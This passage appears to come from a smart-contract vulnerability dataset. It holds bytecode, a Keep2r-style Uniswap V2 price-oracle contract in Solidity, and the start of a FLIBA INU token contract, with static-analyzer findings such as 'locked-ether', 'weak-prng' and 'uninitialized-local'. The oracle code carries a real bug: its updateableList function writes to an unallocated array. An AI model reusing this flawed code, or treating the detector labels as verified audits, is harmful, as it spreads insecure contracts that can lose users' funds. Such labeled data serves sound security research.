5a4df523b3ef929181900390910190a35060019392505050565b606080600060046005600054828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107435780601f1061071857610100808354040283529160200191610743565b820191906000526020600020905b81548152906001019060200180831161072657829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959850879450925084019050828280156107d15780601f106107a6576101008083540402835291602001916107d1565b820191906000526020600020905b8154815290600101906020018083116107b457829003601f168201915b50505050509150925092509250909192565b60065460ff1681565b600354600160a060020a0316331461080357600080fd5b3360009081526001602052604090205481111561081f57600080fd5b3360009081526001602052604090205461083f908263ffffffff610b2116565b3360009081526001602052604081209190915554610863908263ffffffff610b2116565b60005560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104745780601f1061044957610100808354040283529160200191610474565b6000600160a060020a038316151561093b57600080fd5b33600090815260016020526040902054821180159061095a5750600082115b801561098c5750600160a060020a03831660009081526001602052604090205461098a818463ffffffff610b0716565b115b151561099757600080fd5b336000908152600160205260409020546109b7908363ffffffff610b2116565b3360009081526001602052604080822092909255600160a060020a038516815220546109e9908363ffffffff610b0716565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a8957600080fd5b600160a060020a0381161515610a9e57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610b1657fe5b8091505b5092915050565b600082821115610b2d57fe5b50900390565b600080831515610b465760009150610b1a565b50828202828482811515610b5657fe5b0414610b1657fe00a165627a7a723058200d33162b87f92816955e5f0a6af032ace294412400ba25d00ef10da09872c69d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,924 |
0x030eede1fe33ad61fe01b52438ed19ac8a674538
|
// SPDX-License-Identifier: MIT
/**
* KP2R.NETWORK
* A standard implementation of kp3rv1 protocol
* Optimized Dapp
* Scalability
* Clean & tested code
*/
pragma solidity ^0.6.12;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IKeep2r {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
}
contract UniswapV2Oracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
modifier keeper() {
require(KP2R.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
}
modifier upkeep() {
require(KP2R.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
KP2R.worked(msg.sender);
}
address public governance;
address public pendingGovernance;
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
function setKeep2r(address _keep2r) external {
require(msg.sender == governance, "setKeep2r: !gov");
KP2R = IKeep2r(_keep2r);
}
IKeep2r public KP2R;
address public immutable factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
uint public immutable windowSize = 14400;
uint8 public immutable granularity = 8;
uint public immutable periodSize = 1800;
address[] internal _pairs;
mapping(address => bool) internal _known;
mapping(address => uint) public lastUpdated;
function pairs() external view returns (address[] memory) {
return _pairs;
}
mapping(address => Observation[]) public pairObservations;
constructor(address _keep2r) public {
governance = msg.sender;
KP2R = IKeep2r(_keep2r);
}
// returns the index of the observation corresponding to the given timestamp
function observationIndexOf(uint timestamp) public view returns (uint8 index) {
uint epochPeriod = timestamp / periodSize;
return uint8(epochPeriod % granularity);
}
// returns the observation from the oldest epoch (at the beginning of the window) relative to the current time
function getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) {
uint8 observationIndex = observationIndexOf(block.timestamp);
// no overflow issue. if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = pairObservations[pair][firstObservationIndex];
}
function updatePair(address pair) external keeper returns (bool) {
return _update(pair);
}
// update the cumulative price for the observation at the current timestamp. each observation is updated at most
// once per epoch period.
function update(address tokenA, address tokenB) external keeper returns (bool) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
return _update(pair);
}
function add(address tokenA, address tokenB) external {
require(msg.sender == governance, "UniswapV2Oracle::add: !gov");
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
}
function work() public upkeep {
bool worked = _updateAll();
require(worked, "UniswapV2Oracle: !work");
}
function _updateAll() internal returns (bool updated) {
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateFor(uint i, uint length) external keeper returns (bool updated) {
for (; i < length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateableList() external view returns (address[] memory list) {
uint _index = 0;
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
list[_index++] = _pairs[i];
}
}
}
function updateable(address pair) public view returns (bool) {
return (block.timestamp - lastUpdated[pair]) > periodSize;
}
function updateable() external view returns (bool) {
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function updateableFor(uint i, uint length) external view returns (bool) {
for (; i < length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function _update(address pair) internal returns (bool) {
// populate the array with empty observations (first call only)
for (uint i = pairObservations[pair].length; i < granularity; i++) {
pairObservations[pair].push();
}
// get the observation for the current period
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed > periodSize) {
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
observation.timestamp = block.timestamp;
lastUpdated[pair] = block.timestamp;
observation.price0Cumulative = price0Cumulative;
observation.price1Cumulative = price1Cumulative;
return true;
}
return false;
}
// given the cumulative prices of the start and end of a period, and the length of the period, compute the average
// price in terms of how much amount out is received for the amount in
function computeAmountOut(
uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn
) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = priceAverage.mul(amountIn).decode144();
}
function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
Observation storage firstObservation = getFirstObservationInWindow(pair);
uint timeElapsed = block.timestamp - firstObservation.timestamp;
require(timeElapsed <= windowSize, 'SlidingWindowOracle: MISSING_HISTORICAL_OBSERVATION');
// should never happen.
require(timeElapsed >= windowSize - periodSize * 2, 'SlidingWindowOracle: UNEXPECTED_TIME_ELAPSED');
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
if (token0 == tokenIn) {
return computeAmountOut(firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return computeAmountOut(firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063aebf67c1116100c3578063dbaad32f1161007c578063dbaad32f146103b1578063e4463eb2146103ce578063e5bafb80146103d6578063e8bb6d42146103fc578063f39c38a014610454578063ffb0a4a01461045c57610158565b8063aebf67c1146102e0578063b4a5ed38146102e8578063bfcc8e421461030e578063c45a015514610358578063c640752d14610360578063c9ff6f4d1461038e57610158565b80635aa6e675116101155780635aa6e6751461022d57806384c6d935146102515780638a14117a146102745780638c86f1e41461027c578063983586d9146102b2578063ab033ea9146102ba57610158565b80630a6f93e61461015d5780631b56bbf914610195578063238efcbc146101cf578063322e9f04146101d957806352c28fab146101e1578063556f0dc71461020f575b600080fd5b6101836004803603602081101561017357600080fd5b50356001600160a01b0316610464565b60408051918252519081900360200190f35b6101bb600480360360208110156101ab57600080fd5b50356001600160a01b0316610476565b604080519115158252519081900360200190f35b6101d761053a565b005b6101d76105bd565b6101d7600480360360408110156101f757600080fd5b506001600160a01b038135811691602001351661072f565b61021761087c565b6040805160ff9092168252519081900360200190f35b6102356108a0565b604080516001600160a01b039092168252519081900360200190f35b6101bb6004803603604081101561026757600080fd5b50803590602001356108af565b610183610906565b6101836004803603606081101561029257600080fd5b506001600160a01b0381358116916020810135916040909101351661092a565b6101bb610abd565b6101d7600480360360208110156102d057600080fd5b50356001600160a01b0316610afb565b610235610b72565b6101bb600480360360208110156102fe57600080fd5b50356001600160a01b0316610b81565b61033a6004803603604081101561032457600080fd5b506001600160a01b038135169060200135610bc3565b60408051938452602084019290925282820152519081900360600190f35b610235610c02565b6101bb6004803603604081101561037657600080fd5b506001600160a01b0381358116916020013516610c26565b6101bb600480360360408110156103a457600080fd5b5080359060200135610d19565b610217600480360360208110156103c757600080fd5b5035610e12565b610183610e75565b6101d7600480360360208110156103ec57600080fd5b50356001600160a01b0316610e99565b610404610f0c565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610440578181015183820152602001610428565b505050509050019250505060405180910390f35b610235610f95565b610404610fa4565b60056020526000908152604090205481565b600254604080516335d2155560e11b815233600482015290516000926001600160a01b031691636ba42aaa91602480830192602092919082900301818787803b1580156104c257600080fd5b505af11580156104d6573d6000803e3d6000fd5b505050506040513d60208110156104ec57600080fd5b50516105295760405162461bcd60e51b81526004018080602001828103825260248152602001806117b66024913960400191505060405180910390fd5b61053282611006565b90505b919050565b6001546001600160a01b03163314610599576040805162461bcd60e51b815260206004820152601d60248201527f616363657074476f7665726e616e63653a202170656e64696e67476f76000000604482015290519081900360640190fd5b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600254604080516335d2155560e11b815233600482015290516001600160a01b0390921691636ba42aaa916024808201926020929091908290030181600087803b15801561060a57600080fd5b505af115801561061e573d6000803e3d6000fd5b505050506040513d602081101561063457600080fd5b50516106715760405162461bcd60e51b81526004018080602001828103825260248152602001806117b66024913960400191505060405180910390fd5b600061067b61113f565b9050806106c8576040805162461bcd60e51b8152602060048201526016602482015275556e697377617056324f7261636c653a2021776f726b60501b604482015290519081900360640190fd5b50600254604080516317fbade560e21b815233600482015290516001600160a01b0390921691635feeb7949160248082019260009290919082900301818387803b15801561071557600080fd5b505af1158015610729573d6000803e3d6000fd5b50505050565b6000546001600160a01b0316331461078e576040805162461bcd60e51b815260206004820152601a60248201527f556e697377617056324f7261636c653a3a6164643a2021676f76000000000000604482015290519081900360640190fd5b60006107bb7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f8484611173565b6001600160a01b03811660009081526004602052604090205490915060ff1615610814576040805162461bcd60e51b815260206004820152600560248201526435b737bbb760d91b604482015290519081900360640190fd5b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556003805491820181559091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b03191690911790555050565b7f000000000000000000000000000000000000000000000000000000000000000881565b6000546001600160a01b031681565b60005b818310156108fc576108e4600384815481106108ca57fe5b6000918252602090912001546001600160a01b0316610b81565b156108f157506001610900565b6001909201916108b2565b5060005b92915050565b7f000000000000000000000000000000000000000000000000000000000000384081565b6000806109587f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f8685611173565b9050600061096582611233565b805490915042037f00000000000000000000000000000000000000000000000000000000000038408111156109cb5760405162461bcd60e51b81526004018080602001828103825260338152602001806117326033913960400191505060405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000007086002027f000000000000000000000000000000000000000000000000000000000000384003811015610a4f5760405162461bcd60e51b815260040180806020018281038252602c815260200180611765602c913960400191505060405180910390fd5b600080610a5b856112c2565b50915091506000610a6c8a89611491565b509050896001600160a01b0316816001600160a01b03161415610aa657610a99856001015484868c61156f565b9650505050505050610ab6565b610a99856002015483868c61156f565b9392505050565b6000805b600354811015610af257610adb600382815481106108ca57fe5b15610aea576001915050610af8565b600101610ac1565b50600090505b90565b6000546001600160a01b03163314610b50576040805162461bcd60e51b815260206004820152601360248201527239b2ba23b7bb32b93730b731b29d1010b3b7bb60691b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6001600160a01b03166000908152600560205260409020547f000000000000000000000000000000000000000000000000000000000000070842919091031190565b60066020528160005260406000208181548110610bdc57fe5b600091825260209091206003909102018054600182015460029092015490935090915083565b7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b600254604080516335d2155560e11b815233600482015290516000926001600160a01b031691636ba42aaa91602480830192602092919082900301818787803b158015610c7257600080fd5b505af1158015610c86573d6000803e3d6000fd5b505050506040513d6020811015610c9c57600080fd5b5051610cd95760405162461bcd60e51b81526004018080602001828103825260248152602001806117b66024913960400191505060405180910390fd5b6000610d067f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f8585611173565b9050610d1181611006565b949350505050565b600254604080516335d2155560e11b815233600482015290516000926001600160a01b031691636ba42aaa91602480830192602092919082900301818787803b158015610d6557600080fd5b505af1158015610d79573d6000803e3d6000fd5b505050506040513d6020811015610d8f57600080fd5b5051610dcc5760405162461bcd60e51b81526004018080602001828103825260248152602001806117b66024913960400191505060405180910390fd5b8183101561090057610dfe60038481548110610de457fe5b6000918252602090912001546001600160a01b0316611006565b15610e07575060015b600190920191610dcc565b6000807f00000000000000000000000000000000000000000000000000000000000007088381610e3e57fe5b0490507f000000000000000000000000000000000000000000000000000000000000000860ff168181610e6d57fe5b069392505050565b7f000000000000000000000000000000000000000000000000000000000000070881565b6000546001600160a01b03163314610eea576040805162461bcd60e51b815260206004820152600f60248201526e39b2ba25b2b2b819391d1010b3b7bb60891b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60606000805b600354811015610f9057610f2c600382815481106108ca57fe5b15610f885760038181548110610f3e57fe5b600091825260209091200154835160018401936001600160a01b039092169185918110610f6757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b600101610f12565b505090565b6001546001600160a01b031681565b60606003805480602002602001604051908101604052809291908181526020018280548015610ffc57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610fde575b5050505050905090565b6001600160a01b0381166000908152600660205260408120545b7f000000000000000000000000000000000000000000000000000000000000000860ff16811015611074576001600160a01b0383166000908152600660205260408120805460019081018255915201611020565b50600061108042610e12565b6001600160a01b03841660009081526006602052604081208054929350909160ff84169081106110ac57fe5b60009182526020909120600390910201805490915042037f0000000000000000000000000000000000000000000000000000000000000708811115611134576000806110f7876112c2565b50428087556001600160a01b038a166000908152600560205260409020556001808701929092556002909501949094555091935061053592505050565b506000949350505050565b6000805b60035481101561116f5761115d60038281548110610de457fe5b1561116757600191505b600101611143565b5090565b60008060006111828585611491565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60008061123f42610e12565b905060007f000000000000000000000000000000000000000000000000000000000000000860ff168260010160ff168161127557fe5b06905060066000856001600160a01b03166001600160a01b031681526020019081526020016000208160ff16815481106112ab57fe5b906000526020600020906003020192505050919050565b60008060006112cf6115cd565b9050836001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561130a57600080fd5b505afa15801561131e573d6000803e3d6000fd5b505050506040513d602081101561133457600080fd5b505160408051635a3d549360e01b815290519194506001600160a01b03861691635a3d549391600480820192602092909190829003018186803b15801561137a57600080fd5b505afa15801561138e573d6000803e3d6000fd5b505050506040513d60208110156113a457600080fd5b505160408051630240bc6b60e21b81529051919350600091829182916001600160a01b03891691630902f1ac916004808301926060929190829003018186803b1580156113f057600080fd5b505afa158015611404573d6000803e3d6000fd5b505050506040513d606081101561141a57600080fd5b5080516020820151604090920151909450909250905063ffffffff808216908516146114875780840363ffffffff811661145484866115d7565b516001600160e01b031602969096019563ffffffff811661147585856115d7565b516001600160e01b0316029590950194505b5050509193909250565b600080826001600160a01b0316846001600160a01b031614156114e55760405162461bcd60e51b81526004018080602001828103825260258152602001806117916025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610611505578284611508565b83835b90925090506001600160a01b038216611568576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600061157961170c565b6040518060200160405280858888038161158f57fe5b046001600160e01b0316905290506115af6115aa8285611687565b611705565b71ffffffffffffffffffffffffffffffffffff169695505050505050565b63ffffffff421690565b6115df61170c565b6000826001600160701b03161161163d576040805162461bcd60e51b815260206004820152601760248201527f4669786564506f696e743a204449565f42595f5a45524f000000000000000000604482015290519081900360640190fd5b6040805160208101909152806001600160701b0384166dffffffffffffffffffffffffffff60701b607087901b168161167257fe5b046001600160e01b0316815250905092915050565b61168f61171e565b60008215806116b557505082516001600160e01b0316828102908382816116b257fe5b04145b6116f05760405162461bcd60e51b81526004018080602001828103825260238152602001806117da6023913960400191505060405180910390fd5b60408051602081019091529081529392505050565b5160701c90565b60408051602081019091526000815290565b604051806020016040528060008152509056fe536c6964696e6757696e646f774f7261636c653a204d495353494e475f484953544f524943414c5f4f42534552564154494f4e536c6964696e6757696e646f774f7261636c653a20554e45585045435445445f54494d455f454c4150534544556e697377617056324c6962726172793a204944454e544943414c5f4144445245535345533a3a69734b65657065723a206b6565706572206973206e6f7420726567697374657265644669786564506f696e743a204d554c5449504c49434154494f4e5f4f564552464c4f57a264697066735822122083314b7e7ca3046fc3701fde17815d40a9eb91c949a112aedcad08e2b26fc46364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,925 |
0xf88272160b08f1026e43cfa5fab1f2938fc1ec9f
|
/*
🐬 FLIBA INU🐬
PORTAL: https://t.me/FLIBAINUPORTAL
WEBSITE: flibainu.com
TWITTER: twitter.com/FlibaInu
©”A Token & Gaming Project deep from the Metaverse Oceans”
Total Token Supply:
$FLIBA has a circulating supply of:
1,000,000,000,000 Tokens.
100% LP is locked.
To be the best means you have to build the best. And with $FLIBA, 2% of all transactions goes into building our LP.
Dolphin Charity:
All holders of the $FLIBA token will help to Build our Dolphin Charity with 2% transaction donations.
Marketing:
8% of all Buy & Sell transactions is collected for Marketing & Game Team Development.
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
